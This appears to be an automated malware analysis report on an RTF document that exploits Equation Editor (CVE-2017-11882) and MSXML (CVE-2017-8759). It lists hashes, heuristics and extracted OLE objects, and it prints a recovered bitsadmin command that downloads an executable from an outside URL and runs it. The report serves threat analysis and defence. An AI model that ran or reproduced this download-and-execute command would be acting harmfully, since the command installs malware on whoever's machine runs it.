RTF malware analysis — malicious · dcbd4011576eb0b3

MALICIOUS

RTF

1.58 MB Created: 2018-05-20 22:10:00 First seen: 2019-05-16

MD5: dfe8a37cbf2747058569c08f5135a86c SHA-1: 16ff30220d0dca3bf601e17a222c859fb779bdc8 SHA-256: dcbd4011576eb0b334c53bdb05c20d3d18318a65d83ff1d10151f016659c91a4

302 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains embedded OLE objects and triggers critical heuristics for CVE-2017-11882 (Equation Editor) and CVE-2017-8759 (MSXML SAX OLE activation). These vulnerabilities are commonly exploited to execute arbitrary code. The presence of shellcode-related strings and a suspicious executable file (qaz.exe) at the URL http://internationalcon.com/assets/css/qaz.exe indicates that the file is designed to download and run a second-stage payload.

Heuristics 8

CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759

RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
Large hex data blocks in OLE object high RTF_EXCESSIVE_HEX

RTF contains ~1196KB of hex-encoded data inside \objdata sections — may hide a payload
OLE object data medium RTF_OBJDATA

RTF contains 2 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://internationalcon.com/assets/css/qaz.exe In RTF body
- http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body
- http://schemas.openxmlformats.org/drawingml/2006/mainIn RTF body

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off000035bc.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x35BC	33326 bytes
SHA-256: `4b550e51ee1de480a302a6670403a81549b540a53f4f5434afdd37f7f2dc940a`
`objdata_01_off00130c58.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x130C58	15672 bytes
SHA-256: `00768e31510d778ba37dff16764126bc1fd50053c47c3e530d2ef11c129a59e2`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): http://internationalcon.com/assets/css/qaz.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer dV /priority foreground http://internationalcon.com/assets/css/qaz.exe %USERPROFILE%\Unb.exe && start %USERPROFILE%\Unb.exe

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